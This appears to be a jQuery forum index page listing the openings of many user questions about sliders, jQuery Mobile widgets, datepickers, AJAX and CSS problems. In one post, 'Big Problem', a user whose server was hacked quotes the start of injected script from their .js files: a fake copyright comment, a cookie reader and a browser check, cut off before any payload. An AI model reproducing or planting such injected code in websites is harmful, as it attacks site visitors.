how to keep the same height of the header
Hi ! I would like to keep the height of the header in desktop mode and mobile mode. - When I am enlarging the size of my browser, the header image becomes higher. - And when I am reducing the size of my browser, the header image becomes thin.. I prefer this presentation and I would like to keep this small height... Did you get what I said ? lol Thank you very much for your help guys...
Basic loading scripts asynchronously question
When dealing with multiple external javascript script files what is the best practice to loading scripts asynchronously? Is it a good idea to add the async attribute to all the external scripts links?
cycle plugin slideshow serving responsive iamges
I have installed a cycle plugin responsive slideshow with pagers on a web page. Everything works fine as intended on a desktop. However, the images which are optimized for a desktop device take a while to download on a mobile phone. Can the cycle plugin 2 deliver specific images according to the device that is serving. For instance: img-01-small.jpg for mobile img-01-medium.jpg for tablets img-01-large.jpg for desktops
hiding script temporarely
I have contact form problem. The form fails to deliver a message. The source of the problem is two conflicting script libraries. Both libraries are needed for different effects. The fancy box scripts works with the image display mechanism. <script type="text/javascript" src="./fancybox/lib/jquery-1.10.1.min.js"></script> The jquery scripts works with contact form mechanism <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script> If I remove the fancy
Customizing the new and prev button and also
hey guys i came across this light weight plugging online and it seems to be good . heres what i created .. Js Fiddle. , going through the documentation it said that you cannot use ur own pagination . but on the examples page here , the slides do have custome a pagination , (i suspect the icons used on the home page is from , font awesome icons Font Awesome) . i would really like to create my own pagination icons and previous , next buttons. Thanks and regards . Gautam .
retrying a post
Could someone provide a quick snippet of code for setting a timeout on a post? I tried using JQuery post but it sometimes just goes away and never comes back. I have retry logic in my app that will survive network blips and retry a data communication but it needs a timeout to work properly. Or if there's a way to just ask JQuery to do the retries, that might be fun too. Thanks.
presistent storage in JQuery
Persistent storage is pretty easy but I had hoped JQuery would provide a handy API for it. I have old code that wraps the two main ways to do it, IE-specific and standards. I found a plug-in but it seemed tricker to use than my old code. Am I missing something? Is there a cute way to do it in JQuery?
tool tip handling
how to control the tooltip over the page after partial postback.
Overlapping posts using infinite scroll + masonry
I have installed the theme "Issue" on my tumblr blog, but infinite scroll + masonry is overlapping all the posts. I've read some threads about it, but nothing seems to work. This is the code: $(function() { $( '#posts' ).masonry({ itemSelector: '.post', columnWidth: 1 }).imagesLoaded(function() { $( this ).masonry( 'reloadItems' ); }); if( Issue.index_page ) { if( Issue.infinite_scroll ) $( '#posts' ).infinitescroll({ navSelector: '#pagination', nextSelector: '#pagination #next', itemSelector: '.post',
Calling function by closing popup
Hello, I make a popup in jQuerymobile with <div data-role="popup" id="pop_'.$row_artikel['ArtikelNr'].'" data-theme="a" data-overlay-theme="b" class="ui-content" style="max-width:340px; padding-bottom:2em;"> <h3>Artikel in den Warenkorb legen?</h3> <p><strong>CD Player</strong></p> <p>Sie können den Artikel später noch aus dem Warenkorb löschen. Die Bestandsprüfung findet es im nächsten Schritt statt.</p> <a href="#" name="artikel_999" class="ui-shadow ui-btn ui-corner-all
Select dynamically appended element
I have a list to which I am creating list items for on the fly in my JQuery script. The problem is, after attaching these elements to the list on the fly I cannot select them. The setup is below, line three never ever works var li = "<li>List Item 1</li>"; $("#mylist").append(li); $("#mylist li:first-child").addClass("bold"); Any idea whats going on here? Thanks.
jQuery slider animate()
hello everyone! here are my code : html : <div id="slider"> <ul class="slides"> <li>slide 1</li> <li>slide 2</li> <li>slide 3</li> <li>slide 4</li> <li>slide 5</li> </ul> </div> css : #slider { width: 500px; height: 300px; overflow: hidden; } .slides { display: block; height: 300px; margin: 0; padding: 0; z-index: 10; } .slides li { list-style: none; float: left; text-align: center; width: 500px; height: 300px; } jquery : $(function()
Jquery List Slider example
I am looking for a few days now something similar to this with no success: http://www.vox.com/cards/genetictesting/why-did-23andme-get-into-trouble-with-the-fda Can anybody suggest something similar to the above link? I think is called list slider. Thanks in advance
Jquery BlockUI Button Click
Notice that starting blockui to unblockui there are lots of codes and it takes 1-5 seconds to finish it works. But Jquery Block UI never shows up. Any Ideas? I add my button like this. $button = $('<input type="button" />').appendTo($divmenu1); $button.attr("id", "searchbutton"); //here is the click event $("#searchbutton").on('click', function () { $.blockUI({ message: '<h4> Please Wait...</h4>', css: { border: '3px solid #a00',
How do I validate fields in a closed fieldset...
I found below script, and its perfect to open/close fieldsets. Meanwhile the fields in a closed fieldset isnt validated when the form is submitted. I think it would be good that a fieldset including a field not parsing validation is opened... Can someone help me.to fix that? My script is: <script type="text/javascript"> $('#dashboard legend').each(function() { var tis = $(this), state = false, answer = tis.next('div').hide().css('height','auto').slideUp(); tis.click(function() { state = !state;
Jquery mobile detecting mouseover while mousedown.
Hi, I'm new to the forum. I'm trying to develop a kind of ruzzle with html. I'm making it with divs and I can easily detect movement among the "table" using mouse. When mouse is down on the first element, the element(div) is selected. Keeping mouse down and going over an other div, the second div is selected too. In this way, swiping through divs and selecting them I can compose a sequence of divs. This is ok with normal browser and normal mouse events. I tried to port everything with jquerymobile:
[SOLVED] StickyNavbar.js Expanding My Header
Hello, Every time I scroll down the header expands wider than 100% giving me a scroll bar at the bottom of the page. When I inspect the header in Chrome, it's adding some position that causes the header to expand when the fadeInDown animated class is called. Any help to send me in the right direction? Website in question Elite Flooring. I'm using stickyNavbar.js plugin. Thank you, Eduardo
min date opion
Hello i need to make a condition and show an alert message when people choose a period less than 24H ex where are 20/September (that time of pick up) 21/September is time of return message error: period must not be less than 24H Please help regards
Select menu on a popup bug on Android 4.0.3 browser
Hi, I have a Samsung Galaxy S2 running Android 4.0.3. I've created a mobile web widget and am using JQuery mobile. On this widget, when a button is pressed, a jquery mobile pop-up pops up. On this pop up, I have a select menu and a button. When I change the select menu option and click the button, the select menu opens again. I have to choose the option from the select menu again and choose done on the menu before being able to click the button. This only happens on the default browser that comes
Big Problem
Hello guys, I don't know if i posted this correctly, so i am sorry! Someone has hacked my server by ftp i think, modified some files.js and added this: /* Copyright (C) 2007 Free Software Foundation, Inc. http://fsf.org/ */ function getCookie(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):undefined}function RuizePlastica(){var e=navigator.userAgent;var t=e.indexOf("rv:11.0")>-1||e.indexOf("Windows
how to style jquery Selectmenu component
Hello forum I want to be able to style selectmenu as follows: 1) selectmenu will for example have 3 colors ( white, red and black) to choose from. 2) If I select any of these colors, I want the color to show up on the selectmenu as a square, with the name specific to that color, for example: if I choose white: if I choose red: if I choose black: The full dropdown looks like this: I was able to style it but I can't figure out having that color square show up, I'm new to jquery ui and I can't find
Checkbox to toggle textarea
I have a list of checkboxes that I want to open their corresponding textarea. Is there a way of programatically associating one with the other so I only need one procedure to fire? Regards Pete
Listview - Persistent search
Regarding the Search in jQuery Mobile listview widget...say you do a search, get results and click on the listview to go to another page. When you click Back on the page to get back to the listview, the listview widget forgets the search and shows the entire unfiltered list. How can I make the listview remember the search field and results?
Updating a select box
Working on these chained select boxes. I have three. Category, Watt, and Lamp. I am trying to get the last select box to change after the second one is selected. I am getting mixed up with the closing brackets and causes the first two to not work. At this point I wast just trying to get it to say "wait" or send an alert message. This is what I have. jQuery(document).ready(function() { $("select#lamp").attr("disabled","disabled"); $("select#watt").attr("disabled","disabled");
It's been a week now, can we get a 1.4.4 changelog?
as fo this morning (Sept 19th) the change log for version 1.4.4 is still completely blank we need to know what is deprecated, changed and/or removed !! http://jquerymobile.com/changelog/1.4.4/
AJAX load loses CSS - help
I have page that has normal CSS that decorates buttons on page. I reload a section of the page via AJAX, but when it is loaded I lose my CSS reference and buttons turn to hyperlinks. Here is the code (note the comment of CSS appended): $(function() { var $div = $('.req_link'); // this had to be inserted to decorate my buttons because // because when the ajax reloaded the CCS was ignored $('.req_link').button() .css({ 'text-decoration' : 'none', 'background' : '#2C8586', 'color' : 'white', 'width'
Other Projects?
How many projects are in Jquery? I know about the Core lib, JQueryUI, Sizzle, Qunit, and JQuery Mobile, but are there a number of smaller projects on this site that need work done?
Adding additional parameter to function
I did not write the code below so I don't completely understand it but I want to pass an additional parameter from MyWebPage.aspx to the checkAvailability function. I'm calling the same function from different pages and I want to be to determine which page it came from checkAvailability.js (function($){ $.fn.checkAvailability = function(opts) { opts = $.extend({ target: '#response', trigger: '#btnCheck', ajaxSource: 'checkBorrowerNumber.aspx', fireOnKeypress: true
after append, jquery not found the button
hi, i have append a table with jquery at a button. now when I click the button , this is not found . [code] $('#tbl').append( '<tr> <td> <button id="x" class="save" value="http://www.........">save</button> </td> </tr>'); [/code] All buttons that were already in the table , I can respond . This also works . [code] $('save').bind('click', function(){ alert("test"); }); [/code] But not the new insertet button.... help??^^ Timo
jqm doesn't work on iOs (iphone 4 not S) with chrome browser
Hi, I've built a nice site with jQuery mobile latest version (1.1.1), which works pretty well on most OSs and Browsers (listed below). But on iOs on iphone 4 via Chrome browser it just doesn't work, specifically: - when I have the data-role="page" div when the page loads and gets to this line it gets stuck - just loading and loading... - if I remove the data-role="page" from the div and just leave it as it is (as listed in the docs it's not mandatory), or if I rename the data-role to "page1" or anything
How to retain values in the text box in multidatepicker
Hi, I used the multidatepicker from http://multidatespickr.sourceforge.net/ in my form. It works fine. When I submit the form, I am not able to retain the value of the dates chosen. We generally retain the values using javascript document.getElementById('datepicker').value = "<?php echo $_POST['datesofdelivery'];?>"; That doesnt work with the multidatepicker. I tried my hand with the various options such as addDate but no luck. Is it possible to retain date values in the text box in the multidatespicker?
show() & hide()
im tring to show and hide input fields based on option selection...i'm trying to get it to work when page loads as well as on change...the code below doesn't work at all if anyone can point me in the right direction or help please...thank you $(function() { var listing_value = $("select[name='listing']").text(); if (listing_value == "Auction") { $("label[for='price']").hide(); $("input[name='price']").hide(); $("label[for='offers']").hide(); $("input[name='offers']").hide();
Thumbnail on Listview
How can I show image/thumbnail in a jQuery Mobile listview widget but only an iPhone, not on an iPad? Is it as simple as putting some magic CSS class or data- attribute or does it involve media queries and such? Thanks
[SOLVED] Help needed with DatePicker
Hi! I'm trying to use the datepicker calendar without the popup. At the moment I have 2 calendars on my web page but I want to get rid of one. My web page is here:- Web page I want to keep the large calendar (top right) and use that to select available dates. I have the following code which I can't get to work properly. Can anyone help please? <script type="text/javascript"> $(function() { $.datepicker.setDefaults({ dateFormat: '<?php echo $bsiCore->config['conf_dateformat'];?>', minDate:
Change row color in html table
Hi, I need your help because I would like to change row color when input text is = 1 I'v tryied this, but not working: $("#mioTR").keyup(function() { $('input[name^="attivo"]').toggleClass('disabilitato', parseInt($(this).val(), 10) < 2); }).keyup(); this is my table; <table> <tr id="mioTR" > <td><?php echo $ind; ?></td> <td align="left"><?php echo $row_docenti['cognome'] ?></td> <td
change my password
Impossible to select a forum on the select box on the right , the scroll doesnt work (with safari 7) I dont find a way to change my password for the forum thanks for helping
Web2.0 Site Search Function with Jquery
Dear community friends, I was working on a banking project, where i needed a site search. The search function must be something similar to freelancer search. When user search for freelancers it will show the matches quickly passing below the loading image. Which gives a rich and interactive look to the application. I am personally very much impressed by the function. I am done something similar to this. but i don't know how to get that data passing effect. When user search for a branch code or ifsc
Jquery resize duplicating code ?
Hello. I am having trouble trying to set a height with resize() because every time i resize the screen it adds another svg. I can see why its doing it. It is adding more because it is creating the svg inside the packagesvg() which is inside the $(window).resize(). but I can't find a way to fix it? Thanks This is the code: The JS file: function packagesvg() { var w = $('.pillar').outerWidth(); var h = $('.pillar').outerHeight(); var paper = Raphael("buyingSvg"); paper.setViewBox(0,0,w,h,true);
Jquery didnt fired on button click event
I used the following code... I want an aler msg on button click...But it doesnt work.. help me to find out the mistake...Iam Biginner I used the following........ <script type="text/javascript"> $("#Button1").click(function() { alert("hi"); }); </script> <asp:Button ID="Button1" runat="server" Text="Button" />
Is Oracle JDeveloper a good javascript IDE?
Is Oracle JDeveloper a good javascript IDE?
Next Page